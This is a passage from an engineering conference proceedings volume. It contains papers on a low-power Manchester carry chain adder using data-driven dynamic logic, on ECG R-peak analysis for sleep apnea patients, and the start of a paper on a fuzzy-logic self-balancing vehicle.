pp. 11–18. IEEE—CVPR (2006)
8. Fei-Fei, L., Fergus, R., Perona, P.: An incremental bayesian approach testing on 101 objects
categories. In: Workshop on Generative-Model Based Vision. CVPR (2004)
9. Wang, J., Yang, J., Huang, T., Gong, Y.: Locality Constraint Linear Coding for Image
Classification, pp. 1063–6919. CVPR (2010)
10. Yang, J., Yu, K., Gong, Y., Huang, T.: Linear spatial pyramid matching using sparse coding
for image classification. In: Proceedings of the International Conference on Computer Vision
and Pattern Recognition, IEEE, pp. 1794–1801 (2009)
11. Liu, B.-D., Wang, Y.-X., Zhang, Y.-J., Shen, B.: Learning dictionary on manifolds for image
classification. Pattern Recogn. 46, 1879–1890 (2013). (Elsevier)
12. Mahantesh, K., Manjunath Aradhya, V.N., Niranjan, S.K.: Coslets: A Novel Approach to
Explore Object Taxonomy in Compressed DCT Domain for Large Image Datasets, vol. 320,
pp. 39–48. Springer (2015)
13. Anusha, T.R., Hemavathi, N., Mahantesh, K., Chetana, R.: An investigation of combining
gradient descriptor and diverse classifiers to improve object taxonomy in very large image
dataset. In: International Conference on Contemporary Computing and Informatics, IEEE,
pp. 581–585 (2014)
14. Turk, M., Pentland, A.: Eigenfaces for recognition. J. Cogn. Neurosci. 3, 71–86 (1991)
15. Pankaj, D.S., Wilscy, M.: Comparison of PCA, LDA & Gabor Features for Face Recognition
Using Neural Networks, vol. 177, pp. 413–422 (2013)
16. Preeti Rai, Prithee Khanna.: An Illumination, Expression & Noise Invariant Gender Classifier
Using 2D-PCA on Real Gabor Space, pp. 15–28. Elseiver (2015)
17. Shlens, J.: A Tutorial on PCA Derivation, Discussion and SVD (2003)
18. Gottumukkal, R., Asari, V.K.: An Improved Face Recognition Technique Based on
Modular PCA Approach, pp. 429–436 (2004)
19. Wang, Q.: Kernel Principal Component Analysis and its Applications in Face Recognition and
Active Shape Models. CVPR (2012)
20. Wasserman, P.D.: Adv. Methods Neural Comput. 155–61 (1993)
21. Thanwari, P.B., Janwe, N.J.: CBIR based on color and texture. Int. J. Inf. Technol. Knowl.
Manage. 4, 99–132 (2011)
22. Griffin, G., Holub, A., Perona, P.: Caltech-256 Object Category Dataset (2007)
A Low-Power High-Speed Double
Manchester Carry Chain with Carry-Skip
Using D3L
J. Asha, Kala Bharathan and Anuja T. Samuel
Abstract In this paper, multi-output domino 8-bit Manchester carry chain with
carry-skip capability using data-driven logic is proposed. In this, two parallel carry
chains compute even and odd carries independently and the carry-skip capability is
applied to the odd carry chain. The dynamic power consumption is reduced using
the data-driven dynamic logic, where the clock is replaced with data. The circuits
are designed and simulated using Cadence Virtuoso tool with CMOS 180 nm
TSMC technology. Further, the structures are implemented for 16, 32, and 64-bits.
The PDP of 64-bit double Manchester carry chain with skip capability using D3L
shows an improvement of 16 % among the reported ones.

Keywords Carry look-ahead adder (CLA) Manchester Carry chain (MCC)

Multi-output domino Carry-skip logic Data-driven logic (D3L) Power delay
product (PDP)
1 Introduction
Adders are the most important components of digital design and are unavoidable in
digital signal processor (DSP) architectures, microprocessors, and VLSI systems.
Certain important high-speed adder architectures include the combinations of carry
look-ahead adder (CLA), carry-skip adders, carry-select adders, and conditional
sum adders [1, 2]. CLA is the most optimized adder, since it takes less amount of
time to calculate the final carry as the carries are computed in parallel. Manchester
carry chain (MCC) is the domino CLA adder where the carries are recursively
calculated which enables multi-output domino output.
J. Asha (&) K. Bharathan A.T. Samuel

ECE Department, Anna University, Chennai, Tamil Nadu, India
e-mail: ashasmith81@gmail.com
K. Bharathan
e-mail: kala.b.anna@gmail.com
A.T. Samuel
e-mail: anujatsamuel@gmail.com

26 J. Asha et al.
A. Weinberger and J.L. Smith invented the carry look-ahead adder (CLA) in
1958 [3]. In CLA, based on the input signals, the carry signals are calculated in
advance, which results in reduced carry propagation time. In CMOS Manchester
carry-skip (MCS) adder with variable size blocks is designed using dynamic logic
and it was the first attempt [4]. In this paper delay is calculated using RC timing
model. Enhanced multiple output domino logic for a CLA is implemented [5].
Sums of several consecutive bits can be built in one nFET tree with a single carry
in. A compact static CMOS adder based on iterative-shared transistor CLA unit is
implemented [6]. Static designs allowed addition operation to be performed asyn-
chronously. A 32-bit enhanced CLA adder implemented using MOECDL (multiple
output enable-disable CMOS differential logic) is designed [7].
The carry chain structure is proposed that eliminates the need for redundant
stages and intermediate buffers [8]. The new carry chain incorporates a carry-skip
speedup logic, which reduces the worst-case propagation delay. A new carry chain
structure is introduced, which has more effective carry generation speed up logic
where the even carries and odd carries are generated in parallel [9]. This makes the
basic adder block size as 8-bit. A new family of low-power dynamic logic called
data-driven dynamic Logic (D3L) is introduced [10]. In this logic family, clock is
eliminated, and correct sequencing is maintained by appropriate use of data
instances, which implies less power dissipation without speed degradation.
In this paper, an 8-bit double carry chain in multi-output domino CMOS with
carry-skip using D3L (DMCCSkip-D3L) is proposed such that it combines both logic
and circuit design to optimize the MCC design. Even and odd carries are computed in
parallel by two independent carry chains with carry-skip applied to odd carry chain.
The paper is organized as follows: Sect. 2 discusses the working of conventional
MCC adders and Sect. 3 explains double MCC with carry-skip adder
(DMCC-Skip). Section 4 explains the principle and working of the proposed double
MCC with carry-skip using D3L (DMCCSkip-D3L). Section 5 discusses the sim-
ulation results. Finally, Sect. 6 concludes this work.
2 Manchester Carry Chain
2.1 Double Chain Footless Domino MCC (DMCC)
In DMCC, even and odd carries are computed simultaneously and independently.
With Ai and Bi as the input data, gi and pi are generate and propagate signals. Here
new carry signals (hi Þ are defined and are related to conventional carry-in ci .
ci ¼ Ti hi ; Ti ¼ Ai þ Bi : ð1Þ
The expression for h0 is given as
A Low-Power High-Speed Double Manchester Carry Chain … 27
h0 ¼ g0 þ c1 : ð2Þ
Similarly, all the other even carries are computed.

The new-generate (NGÞ and new-propagate ðNPÞ signals are defined as
NGi ¼ gi þ gi1 ; NPi ¼ pi pi1 ti2 : ð3Þ
Using (3) the expression of h7 is
h7 ¼ NG7 þ NP7 NG5 þ NP7 NG5 NG3 þ NP7 NG5 NG3 NG1
þ NP7 NG5 NG3 NG1 NP1 c1 : ð4Þ
Similarly, the expressions for other carries are also computed. The
transistor-level schematic of even carry chain is shown in Fig. 1. This structure
enables the use of 8-bit adder as the basic building block.
The relation between sum-bit and carry bit is given as
Si ¼ pi ci1 ; Si ¼ pi ðTi1 hi1 Þ: ð5Þ
For the computation of sum bit, a 2:1 multiplexer and a XOR gate are required.
In this area of research, for sum-bit computation static circuits had been used. The
drawback of the circuit is its increased transistor count, hence increased delay and
power dissipation.
Fig. 1 Circuit of even Manchester carry chain
28 J. Asha et al.
3 Double MCC with Carry-Skip Capability (DMCC-Skip)
For improving the speed of an MCC adder, carry-skip capability is introduced. In

the case of an MCC adder, the worst-case condition occurs when the carry input
ripples through all the stages to reach the output node, i.e., when all the pi signals
are high or when all the gi signals are low. The carry-skip chain is applied to the
odd carry chain as it is connected to the first carry (cin Þ and last carry (cout Þ. In
carry-skip structures, a group carry propagate signal SKIP is defined. This signal
allows incoming cin to skip stages within the block and generate cout .
SKIP1 ¼ P0 P1 P2 P3 ; SKIP2 ¼ P4 P5 P6 P7 : ð6Þ
SKIP ¼ SKIP1 SKIP2; Cout ¼ SKIP Cin : ð7Þ
Figure 2b shows how carry-skip is applied to the odd carry chain. The output
node of the circuit consists of two carry-skip pull down transistors, controlled by
SKIP1, SKIP2 and Cin : The pull-down transistors of the carry-skip logic speedsup
the process of the generation of final carry as well as the restoration of signal
strength at this node. This signal restoring property allows us to avoid the use of
buffers between the carry blocks. The pull-up transistors are designed with mini-
mum sizing of 875 nm. In Fig. 2b, widths (W) of transistors are indicated, with the
length of all the transistors set to 180 nm. If the sizes of NMOS transistors are
equal, then the propagation delay will be a quadratic function of the number of
transistors. Here a progressive sizing approach is used where the size (W/L ratio) of
the transistors are progressively decreased from input to output. In this design the
tapering factor used is 1.5.
Fig. 2 a Circuit of carry-skip logic (SKIP1). b Odd carry chain with carry-skip capability
Here, a modified circuit with lower transistor count is proposed for sum bit
computation. The total transistor count is reduced from 18 to 8 transistors. This
circuit produces reduced propagation delay and power dissipation.
4 Proposed Structure of Double MCC with Carry-Skip

Capability Using Data-Driven Logic (DMCC-Skip D3L)
The speed performance of an adder is improved in the double chain footless MCC
(DMCC) and double chain footless MCC with carry-skip capability (DMCC-Skip)
compared to standard footless MCC. This is achieved at the expense of an increased
area and hence an increased power dissipation. The main reason for increased
power dissipation is due to the high switching activity of the clock. The dynamic
power dissipation contributes to about 40 % of the overall power consumption. One
way to reduce the amount of power consumption is to use data-driven dynamic
logic. In D3L, a set of input signals are utilized to obtain the alternate precharge and
evaluation cycles. In the D3L circuit operation, during precharge phase the PDN is
completely cut off with no path to ground, thus charging the output node to Vdd.
During evaluation phase, depending on the input signals the output node evaluates
and may discharge to zero or it may maintain the precharged value. A minimum
sized keeper PMOS transistor is used to restore the charge at the output node.
Figure 3 shows the modified sum circuit using 8 transistors only.
The D3L design style is incorporated in implementing the proposed MCC adder
[11]. A partial adaptation of this technology is such that the D3L circuits are used
for propagate circuit, generate circuit, transfer circuit, new-generate circuit, and
new-propagate circuit. This reduces the clock load thereby reducing the dynamic
power dissipation and hence the overall average power consumption. The inputs A
or B are given as the clock to these circuits. D3L logic is not applied to the MCC;
clock itself is used for precharge and evaluation.
Fig. 3 a Circuit of modified XOR gate, b modified 2:1 MUX
30 J. Asha et al.
Fig. 4 a Generate circuit-using D3L. b Propagate circuit-using D3L
Figure 4a shows the generate circuit which is an AND circuit, here the clock is
replaced by the input A. The precharge phase occurs when the input A is low and
the evaluation phase starts when A switches from low to high. The output value
during this instance depends on the value of B. Figure 4b shows the schematic of
the propagate circuit, which is basically an XOR gate. Two serially connected
PMOS transistors replace the single evaluation transistor here. The transfer circuit is
an OR gate implemented using D3L. Using the P, G and T signals new-generate
ðNGÞ and new-propagate signals ðNPÞ is obtained. In this proposed design of
DMCC-skip using D3L logic (DMCCSkip-D3L) lower dynamic power dissipation
is achieved, but at the expense of a slight increase in delay.
5 Simulation Results
The schematics and simulation is done in Cadence Spectre using TSMC 180 nm
technology. The supply voltage Vdd is kept at 1.8 V. For conventional MCC and
MCC-skip the basic building block is a 4-bit adder while for double chain MCCs,
the basic building block is an 8-bit adder. The worst-case carry propagation delay
and average power is computed from the simulation results. This occurs when all
the propagate signals are high, that is, when the carry has to traverse through all the
stages in an MCC chain. Five different design styles implemented in 180 nm CMOS
technology are comparatively analyzed for different adder sizing (n = 8-bit, 16-bit,
32-bit and 64-bit), in terms of number of transistors used, worst-case propagation
delay, power consumption, and power delay product (PDP). The comparison results
are shown in Table 1.
Figure 5 shows the worst-case propagation delay of 64-bit DMCCskip-D3L is
1.4 ns. From Fig. 6, it is evident that the worst-case propagation delay is the least
Table 1 Performance comparison of different MCC adders for 180 nm technology at 1.8 V
MCC No. of Worst-case Power PDP % Improvement in PDP
implementation transistors prop. delay dissipation (fWs) for DMCCskip-D3L
(ps) (µW) compared to the best
existing (MCC-skip)
8-bit
MCC 252 614 384 236 22.7
DMCC 428 441 920 406
MCC-skip 263 454 319 145
DMCC-skip 413 330 527 174
DMCCskip-D3L 436 347 323 112
16-bit
MCC 504 1084 548 594 20
DMCC 856 727 1222 888
MCC-skip 526 677 470 318
DMCC-skip 826 460 812 374
DMCCskip-D3L 876 489 521 255
32-bit
MCC 1008 2022 876 1771 17
DMCC 1712 1297 1765 2289
MCC-skip 1052 1126 777 875
DMCC-skip 1652 780 1350 1053
DMCCskip-D3L 1752 794 912 724
64-bit
MCC 2016 3896 1540 6000 16
DMCC 3424 2436 2850 6942
MCC-skip 2104 2041 1385 2827
DMCC-skip 3304 1316 2430 3198
DMCCskip-D3L 3504 1406 1690 2376
for DMCC-skip. It is evident that as the bit size increases, the speed performance
also increases. The delay for DMCCskip-D3L is almost comparable to that of
DMCC-skip. The advantage of DMCCskip-D3L is that the power consumption is
reduced when clock is replaced with data. A 64-bit adder implemented using the
proposed 8-bit DMCCskip-D3L shows a power reduction of 18 % compared to
64-bit MCC-Skip adder. Hence, it is inferred that the PDP value of the proposed
DMCCskip-D3L is the best out of the five types of MCC adders, which is shown
Fig. 7. The layout of the proposed structure is given in Fig. 8. The LVS and DRC
were done for the proposed structure.
32 J. Asha et al.
Fig. 5 Output carries waveform for 64-bit DMCCskip-D3L
Prop.delay v/s no.of bits

MCC DMCC
4500
Worst case propagation
MCC -skip DMCC-skip

4000
3500 DMCCSkip-D3L
3000
delay(ps)
2500
2000
1500
1000
500
0
8-bit 16-bit 32-bit 64-bit
No.of bits
Fig. 6 Comparison of worst-case propagation delay for various adders
8000
PDP v/s no. of bits
Power delay product(fW-s)

7000
MCC DMCC
6000
MCC -skip DMCC-skip
5000 DMCCSkip-D3L
4000
3000
2000
1000
0
8-bit 16-bit 32-bit 64-bit
No.of bits
Fig. 7 PDP comparison chart
Fig. 8 Layout of NP and NG using D3L
6 Conclusion
The double chain MCC with carry-skip capability (DMCC-skip) outperforms the
conventional MCC and the DMCC in speed. But this speed performance is
achieved at the expense of increased area. The proposed DMCCskip-D3L further
reduces the dynamic power dissipation. The PDP value obtained is the best com-
pared to existing ones. The proposed designs are implemented for 16, 32, and 64-bit
carry chains to evaluate the performance in terms of speed and power.
34 J. Asha et al.
References
1. Parhami, B.: Computer Arithmetic, Algorithms and Hardware. Oxford Univ. Press, New York
(2000)
2. Weste, N., Harris, D.: CMOS VLSI Design, A Circuit and System Perspective.
Addison-Wesley, Reading (2004)
3. Weinberger, A., Smith, J.L.: A logic for high speed addition. Nat. Bureau Stand. Circ. 591,
3–12 (1958)
4. Chan, P.K., Schlag, M.D.F.: Analysis and design of CMOS Manchester adders with variable
Carry-skip. IEEE Trans. Comput. 39(8), 983–992 (1990)
5. Wang, Z., Jullien, G., Miller, W., Wang, J., Bizzan, S.: Fast adders using enhanced multiple
output domino logic. IEEE J. Solid State Circuits 32(2), 206–214 (1997)
6. Ruiz, G.A.: New static multi-output Carry look-ahead cmos adders. Proc. Inst. Elect. Eng.
Circuits Devices Syst. 144(6), 350–354 (1997)
7. Osorio, M., Sampaio, C., Reis, A., Ribas, R.: Enhanced 32-bit Carry look-ahead adder using
multiple output enable-disable CMOS differential logic. In: Proceedings of 17th Symposium
on Integrated Circuits and System Design, pp. 181–185 (2004)
8. Amin, A.A.: Area-efficient high-speed Carry chain. Electron. Lett. 43(23), 1258–1260 (2007)
9. Efstathiou, C., Owda, Z., Tsiatouhas, Y.: New high speed multioutput carry look-ahead
adders. IEEE Trans. Circuits Syst.-II, Express Briefs 60(10), 667–671 (2013)
10. Rafati, W.R., Fakhraie, S.M., Smith, K.C. Low power data-driven dynamic logic (D3L). Proc.
IEEE Int. Symp. Circuits Syst. (ISCAS) 752–755 (2000)
11. Purohit, S., Lanuzza, M., Margala, M. :Design space exploration of split-path data driven
dynamic full adder. J. Low Power Electron. 6(4), 469–481 (2010)
Study and Analysis
of Electrocardiography Signals
for Computation of R Peak Value
for Sleep Apnea Patient
Mridu Sahu, Saransh Shirke, Garima Pathak, Prashant Agarwal,

Ravina Gupta, Vishal Sodhi, N.K. Nagwani and Shrish Verma
Abstract In this work, identification of sleep apnea symptoms is performed using

Electrocardiography (ECG). ECG wave analysis is performed for sleep apnea
patient. Sleep Apnea is a type of sleep disorder and it is also recognized by pol-
ysomnography (PSG) devices. Proposed article uses eight male patient data of
similar age group (ranging from 51 to 53) and similar height (ranging from 173 to
179). The article found a relationship between the varying degrees of sleep apnea
and the corresponding R peak value. First, ECG signal is preprocessed and then R
peak value of different apnea patients is calculated.

Keywords Sleep apnea Electrocardiography (ECG) Polysomnography (PSG)
R peak value
1 Introduction
Electrocardiography (ECG) is a simple wave to represent the heart and muscle

activity by using electrical activity with changes in time wave analysis [1]. ECG is
useful for different types of disease diagnoses like heart attack [2]. This device is
M. Sahu (&) G. Pathak P. Agarwal R. Gupta V. Sodhi

Department of Information Technology, NIT Raipur, Raipur 492010, C.G, India
e-mail: mrisahu.it@nitrr.ac.in
G. Pathak
e-mail: garimapathak2803@gmail.com
S. Shirke
Department of Electrical Engineering, NIT Raipur, Raipur 492010, C.G, India
e-mail: saransh.shirke@gmail.com
N.K. Nagwani
Department of Computer Science Engineering, NIT Raipur, Raipur, C.G, India
S. Verma
Department of Electronics and Telecommunication, NIT Raipur, Raipur, C.G, India

36 M. Sahu et al.
also useful for sleep apnea diagnosis [3]. QRS complex variable computes from
ECG wave activities; it is having three different wave points combination (Q, R, S).
These points are responsible for most of the disease diagnoses found in the liter-
ature [4, 5]. The description of Q, R, S points along with other wave points like P
point, P-R interval, R-R interval, and Q-T interval is given in Table 1.
The wave point movement from one to another is shown in Fig. 1. The literature
shows [6, 7] that ECG is one of the oldest and powerful devices to diagnose the heat
type of diseases. In the ECG having different types of electrode placements, pro-
posed article used 10 electrodes ECG. The placement of electrode position is shown
in Fig. 2 [8]. The electrodes are responsible for computation of electric signal
generated from heart and muscles. Nowadays for sleep disorders, ECG is a pow-
erful device.
Table 1 Wave point description

Wave Descriptions
points
QRS It is an important task for ECG signal analysis; normal QS width is 70–100 ms
complex [19]
P-P interval It measures by signal analysis, and it is important for obstructive apnea [20]
R peak These values are deducted using different differential techniques [21]; this value
is useful for heart beat calculation
R-R R-R interval is the time interval between two consecutive heartbeats [22]
interval
Q-T Q-T interval is a fundamental ECG point, and it is useful for drug titration [23]
interval
Fig. 1 Time domain representation of an ECG signal
Study and Analysis of Electrocardiography Signals … 37
Fig. 2 10-Lead ECG system
2 Sleep Apnea
Sleep Apnea is one type of sleep disorders; sleep disorder or somnipathy is a

changed pattern, and reason of changing patterns from sleep activity is generated
from regular sleep problems [6]. National Sleep foundation focuses on sleep dis-
orders and problems associated with sleep patterns [7]. Sleep problems include
Snoring, Sleep Apnea Insomania, Sleep deprivation, and Restless leg syndrome [9].
Good Sleep is necessary for optimal health. The present article focuses on sleep
apnea. Normally there are two types of Sleep Apnea: first is Obstructive Sleep
Apnea and other is Central Sleep Apnea [10]. Obstructive Sleep Apnea occurs
when positive muscles are not getting proper signals from brain [11]. In Central
Sleep apnea, stimulation of the phrenic nerve does indeed restore normal breathing
to patient [12]. The survey report for sleep is shown in Fig. 3. The proposed work
took sleep apnea corpus from physionet repository (Fig. 4).
3 Corpus
Physionet is a collection of physiologic signals and clinical time series data. It is an

open source across world wide web [13]. It is a virtual laboratory for researchers
working on biomedical signals. The article used sleep apnea data set from this
repository and the description of data set is shown in Fig. 5. Article taken eight
records of male patient of similar age group (51–53) and similar height (173–179).
The first column of corpus represents records of eight persons (a01, a04,
…, × 20). Second column specifies length of ECG signal in minutes. The third and
fourth column shows duration of non-apnea and apnea minutes. Fifth column
shows hours with apnea. The other parameters like Apnea Index (AI), Hypopnea
38 M. Sahu et al.
Fig. 3 Sleep percentage
Fig. 4 Comparative plot of AI and HI versus record
Index (HI), and Apnea Hypopnea Index (AHI) are present in columns sixth, sev-
enth, and eighth, respectively, shown in Table 2. Comparative plot between AI and
HI is mapped in Fig. 4. The ninth, tenth, eleventh, and twelfth columns specify
physic nature of patient. The severity of sleep apnea can be classifying on the basis
of AHI [14]. The literature [15–17] shows that if AHI is less than five per hour then
there is very less possibility for sleep apnea. If the AHI is between 15 and 30 per
hour then it is categorized as moderated sleep apnea but if it is very high more than
30 per hour then he/she is suffering from severe sleep apnea. The proposed work is
finding R peak value of these types of patient data.
Fig. 5 Records information
Table 2 Corpus description [24]

Sleep disorder Description
Apnea Index (AI) It is the number of apneas observed per hour
Hypopnea Index (HI) It is the number of hypopneas observed per hour
Apnea-Hypopnea Index (AHI) It is defined as the sum of AI and HI
4 Methodology
The article used methodology for ECG corpus, and the data flow diagram for this is
shown in Fig. 6 (Table 3).
Literature shows that preprocessing step is an important part for any data analysis
[18]. The outcomes of methodology are discussed in result analysis section.
5 Result Analysis
During this work, eight different patients were taken into consideration. The results
present in Figs. 7 and 8 show the signal preprocessing steps. The preprocessing
algorithm is used for random noise removal from signal. Bandpass filter is used for
preprocessing step; the advantage of bandpass filter is that it is considering both low
pass filter and high pass filter. The QRS complex point obtained and it is different
from one patient to other. Figure 9 shows the QRS complex point for a01 patient.
The methodology computed it for all eight patient data. The R peak value played an
important role for the computation of heart beat of sleep apnea patient. The different
R values are found and it is mapped in Fig. 10.
40 M. Sahu et al.
Fig. 6 QRS complex

detection flowchart
Table 3 Flowchart description

Steps Description
Step 1 Take ECG input signal as corpus
Step 2 The low pass filter would reject certain frequencies of the input ECG signal that are
higher than the cutoff frequency
Step 3 The low pass filtered signal obtained in step 2 is passed to high pass filter which
would reject frequencies that are lower than the cutoff frequency
Step 4 Signal passes through differentiator QRS complex detection
Step 5 Uses of squaring operation for high-frequency component
Step 6 Moving average filters is used for removing of random noise generated from
previous signal
Step 7 No. of QRS complex detected for the analysis purpose
Fig. 7 Noisy ECG signal
Fig. 8 Filtered ECG signal
42 M. Sahu et al.
Fig. 9 QRS complex for a01
Fig. 10 R peak values for patients
6 Conclusion
Proposed article shows that relationship between the varying degrees of sleep apnea
and the corresponding R peak value is found that low frequency was varying in the
R-R interval The record “a12” with the maximum AHI of 80.2 has the lowest R
peak value of 0.2, where as the record a08 with minimum AHI of 42 has the highest
R peak value of 3.346. Thus, it can be inferred that sleep apnea is inversely
proportional to the R peak value i.e., more the apnea minutes less is the R peak
value and vice versa.
Acknowledgments This research is supported by the National Institute of Technology, Raipur

and thanks to Physionet Repository as well as Dr. Thomas Penzel for the ECG corpus and to
matlab group for the experimental execution.
References
1. Saritha, C., Sukanya, V., Narasimha, Y.: Murthy: ECG signal analysis using wavelet
transforms. Bulg. J. Phys. 35(1), 68–77 (2008)
2. McMurray, J.J.V., Adamopoulos, S., Anker, S.D., Auricchio, A., Böhm, M., Dickstein, K.,
Falk, V.:: ESC guidelines for the diagnosis and treatment of acute and chronic heart failure
2012. Eur. J. Heart Fail. 14(8), 803–869 (2012)
3. Sullivan, C.E., Lynch, C.: Device and method for monitoring breathing during sleep, control
of CPAP treatment, and preventing of apnea. U.S. patent 5,245,995, 21 Sept 1993
4. Kohler, B.-U., Hennig, C., Orglmeister, R.: The principles of software QRS detection. IEEE
Eng. Med. Biol. Mag. 21(1), 42–57 (2002)
5. Mirvis, D.M., Goldberger, A.L.: Electrocardiography. In: Heart Disease: A Textbook of
Cardiovascular Medicine, 6th ed, p. 100-1. WB Saunders, Philadelphia (2001)
6. Im, K.B., Strader, S., Dyken, M.E.: Management of sleep disorders in stroke. Curr. Treat. Opt.
Neurol. 12(5), 379–395 (2010)
7. Lund, H.G., Reider, B.D., Whiting, A.B., Roxanne Prichard, J.: Sleep patterns and predictors
of disturbed sleep in a large population of college students. J. Adolesc. Health 46(2), 124–132
(2010)
8. 12-Lead ECG Electrodes. http://www.wessex-medical.com/12-lead-ecg-electrodes.html
9. Johns, M.W.: A new method for measuring daytime sleepiness: the Epworth sleepiness scale.
Sleep 14(6), 540–545 (1991)
10. He, J., Kryger, M.H., Zorick, F.J., Conway, W., Roth, T.: Mortality and apnea index in
obstructive sleep apnea. Experience in 385 male patients. FREE TO VIEW. Chest 94(1), 9–14
(1988)
11. Mezzanotte, W.S., Tangel, D.J., White, D.P.: Waking genioglossal electromyogram in sleep
apnea patients versus normal controls (a neuromuscular compensatory mechanism). J. Clin.
Invest. 89(5), 1571 (1992)
12. Kinio, S., Islam, M., Qasim, T.: Central sleep apnea detection and stimulation. In: Conference
Proceedings: Annual International Conference of the IEEE Engineering in Medicine and
Biology Society. IEEE Engineering in Medicine and Biology Society, Conference, vol. 2011,
pp. 7626–7629 (2010)
13. CinC Challenge 2000 data sets. http://physionet.org/physiobank/database/apnea-ecg/
14. Malhotra, A., White, D.P.: Obstructive sleep apnoea. Lancet 360(9328), 237–245 (2002)
15. Carroll, J.L., McColley, S.A., Marcus, C.L., Curtis, S., Loughlin, G.M.: Inability of clinical
history to distinguish primary snoring from obstructive sleep apnea syndrome in children.
CHEST J. 108(3), 610–618 (1995)
16. Barnes, M., McEvoy, R.D., Banks, S., Tarquinio, N., Murray, C.G., Vowles, N., Pierce, R.J.:
Efficacy of positive airway pressure and oral appliance in mild to moderate obstructive sleep
apnea. Am. J. Respir. Crit. Care Med. 170(6), 656–664 (2004)
17. Strohl, K.P., Redline, S.: Recognition of obstructive sleep apnea. Am. J. Respir. Crit. Care
Med. 154(2), 279–289 (1996)
18. Sahu, M., Nagwani, N.K., Verma, S., Shirke, S.: An incremental feature reordering
(IFR) algorithm to classify eye state identification using EEG. In: Information Systems Design
and Intelligent Applications, pp. 803–811. Springer India, (2015)
19. Protik, M., Rahman, N., Khatun, F., Islam, M.M.: Analyzing QRS complex, ST segment and
QT interval of ECG signal to determine the effect of having energy drinks on hypercalcaemia.
In: 16th International Conference on Computer and Information Technology (ICCIT),
pp. 109–114. IEEE (2014)
20. Shouldice, R., Ward, S., O’Brien, L.M., O’Brien, C., Redmond, S., Gozal, D., Heneghan, C.:
PR and PP ECG interval variation during obstructive apnea and hypopnea. In: Proceedings of
the IEEE 30th Annual Northeast Bioengineering Conference, pp. 100–101. IEEE (2004)
44 M. Sahu et al.
21. Mukhopadhyay, S. K., Mitra, M., Mitra, S.: An ECG data compression method via R-peak
detection and ASCII character encoding. In: 2011 International Conference on Computer,
Communication and Electrical Technology (ICCCET), pp. 136–141. IEEE (2011)
22. Aram, Z., Setarehdan, S.K.: RR interval simulation based on power spectrum curve fitting. In:
2013 20th Iranian Conference on Biomedical Engineering (ICBME), pp. 132–136. IEEE
(2013)
23. Gregg, R.E., Babaeizadeh, S., Feild, D.Q., Helfenbein, E.D., Lindauer, J.M., Zhou, S.H.:
Comparison of two automated methods for QT interval measurement. Comput. Cardiol. 34,
427–430(2007) (IEEE)
24. He, J., Kryger, M.H., Zorick, F.J., Conway, W., Roth, T.: Mortality and apnea index in
obstructive sleep apnea. Experience in 385 male patients. FREE TO VIEW. Chest 94(1), 9–14
(1988)
Design and Implementation
of Two-Wheeled Self-Balancing Vehicle
Using Accelerometer and Fuzzy Logic
Sunu S. Babu and Anju S. Pillai
Abstract Two-wheeled self-balancing vehicle commercially known as “Segway”

is a promising upcoming mode of transportation in many fields viz. corporate
worlds, tourist place, medical field, or for personal use. In this paper, a control
strategy and sensor-based control of two-wheeled self-balancing vehicle is pro-
posed. The concept of the stabilizing the vehicle is inspired from the inverse
pendulum theory. Based on steady-state space mathematical model, the entire
system control is divided into two subsystems: self-balance control system (forward
or backward motion balancing) and yaw control system (left or right movement).
The control strategy used is fuzzy logic and is applied to both subsystems.
A prototype model of the self-balancing vehicle is developed and the proposed
mathematical model and control logic are verified by testing on the developed
prototype.

Keywords Fuzzy logic controller Self-balancing Fuzzy rule base accelerometer
Arduino UNO R3
1 Introduction
Two-wheeled self-balancing vehicle, is a kind of low-end version of Segway, is

basically used to ride person or any object from one place to another. Recently it is
looked as one of the future modes of transportation as it completely runs on electric
power (battery source). The vehicle is the output of mechatronics product
embedded with control algorithm. With the help of fast evolving technology, the
S.S. Babu (&) A.S. Pillai

Department of Electrical and Electronics Engineering, Amrita Vishwa Vidyapeetham, Amrita
School of Engineering, Coimbatore 641112, India
e-mail: sunurocks@gmail.com
A.S. Pillai
e-mail: s_anju@cb.amrita.edu

46 S.S. Babu and A.S. Pillai
vehicle with essential safety features can be fabricated in low cost so that it can
become one of the most successful pollution-free two-wheeled vehicles in future
along with satisfying the human requirement. The application of such vehicle can
be used in corporate world, tourist place, medical field, personal vehicle, and many
more.
Basically, the vehicle consists of a chassis which includes two wheels with a
handlebar protruding up from it. The vehicle is driven forward and backward by
leaning over the chassis in the, respectively, direction whereas for the steering
purpose the handlebar is used. The most challenging feature which gives the vehicle
limelight is its self-balancing action. Recently many researches are been carried out
for the control of the vehicle. In one of the methods [1], two-wheel electric vehicle
balancing was done by PD controller and Kalman Filter along with accelerometer
and gyroscope as sensing part. In [2], a kinetic equation for control of two-wheeled
balancing robot by Newton Dynamics method is attempted. Two controllers were
used for controlling action: pole placement state-feedback controller and fuzzy
logic controller. In [3], adaptive sliding-mode control method is employed for self
balancing and yaw controlling of human transport vehicle. Here mathematical
equation is derived and result is verified by the testing vehicle in different terrains.
In [4], Arduino microcontroller board was used for developing self-balancing robot,
and PI-PD control design was implemented for control action.
In some approach, two control algorithms are used viz. Proportional Integral
Derivative (PID) and Linear Quadratic Regulator (LQR) [5]. A bacterial-based
swarm controller is presented for self-balancing two-wheeled vehicle in [6]. The
bacterial-based swarm algorithm is simplified in order to adjust the parameters of
the fuzzy model.
In the current work, a prototype of two-wheeled electric vehicle is designed and
developed. Understanding the system dynamics is carried out by mathematical
modeling. For determining the vehicle orientation, accelerometer sensor is used.
The vehicle control system is fully controlled by Fuzzy logic. The developed
prototype is cost optimized with respect to performance, as the vehicle uses only
accelerometer sensor instead of combination of gyroscope and accelerometer sensor
and the vehicle performance is properly tuned using Fuzzy logic.
The rest of the paper is organized as follows: Sect. 2 describes the system
overview, and in Sect. 3 mathematical modeling of the vehicle is presented. Control
strategy for balancing the vehicle is explained in Sect. 4 followed by results in
Sect. 5. Finally, the paper is concluded in Sect. 6.
2 System Overview
In this section, the hardware details of the two-wheeled vehicle are presented. The
idea for the design of two-wheeled self-balancing vehicle was taken from [1]. The
hardware model consists of a broad platform which holds the motor driver and is
connected to two wheels. The sensors used are accelerometer and potentiometer for
Design and Implementation of Two-Wheeled Self-Balancing … 47
Fig. 1 System block diagram
determining the vehicle orientation. There is an adjustable bar protruding from the
platform; used for steering purpose and is connected to potentiometer. Battery
provides power supply to microcontroller, sensors, motor driver, and two motors.
The platform is designed in such a way that after every component is attached, there
is enough space for the rider to stand on it. The block diagram of the vehicle is
shown in Fig. 1.
2.1 System Design
The snapshot of the developed prototype of two-wheeled self-balancing vehicle is

shown in Sect. 5.2 (Fig. 5).
(i) Mechanical Components:
• Platform: The platform is made from plastic material. Its dimension is
